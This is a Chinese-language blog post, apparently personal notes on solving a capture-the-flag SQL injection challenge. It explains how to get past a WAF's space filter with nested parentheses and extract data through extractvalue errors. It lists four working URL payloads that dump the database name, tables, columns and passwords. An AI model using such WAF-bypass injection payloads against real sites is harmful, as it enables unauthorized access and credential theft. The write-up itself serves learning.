用burp抓包后發現這并不是POST型別,而是在check.php頁面的GET型,

對用戶名欄位和密碼欄位進行fuzz,檢查是否有過濾,發現存在waf,這里用得burp的intruder,不過要設定一定的請求延遲,否則容易回傳429,

由于單引號引起了報錯(會有報錯資訊回傳),or和#未經過濾,嘗試報錯注入,空格也會觸發waf,于是使用括號進行多層嵌套繞過對括號的過濾,由于回傳的字串長度有限,因此使用left和right函式分別從左右截斷獲取完整的資訊,或僅使用right函式,控制其截取長度的引數不斷增大,可以自右至左獲取查詢結果的全貌,

payload:
爆庫名
/check.php?username=admin&password=a'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23
爆表名
/check.php?username=admin&password=a'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e)))%23
爆列名
/check.php?username=admin&password=a'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23
爆資料
/check.php?username=admin&password=a'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e)))%23
后來看到原來是報錯函式extractvalue限制每次查詢出的字串長度最大為32,又嘗試了updatexml函式,與extractvalue函式一致,
寫的大都是個人學習筆記,如有錯誤歡迎指正,如有疑問,歡迎討論!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/433287.html
標籤:其他
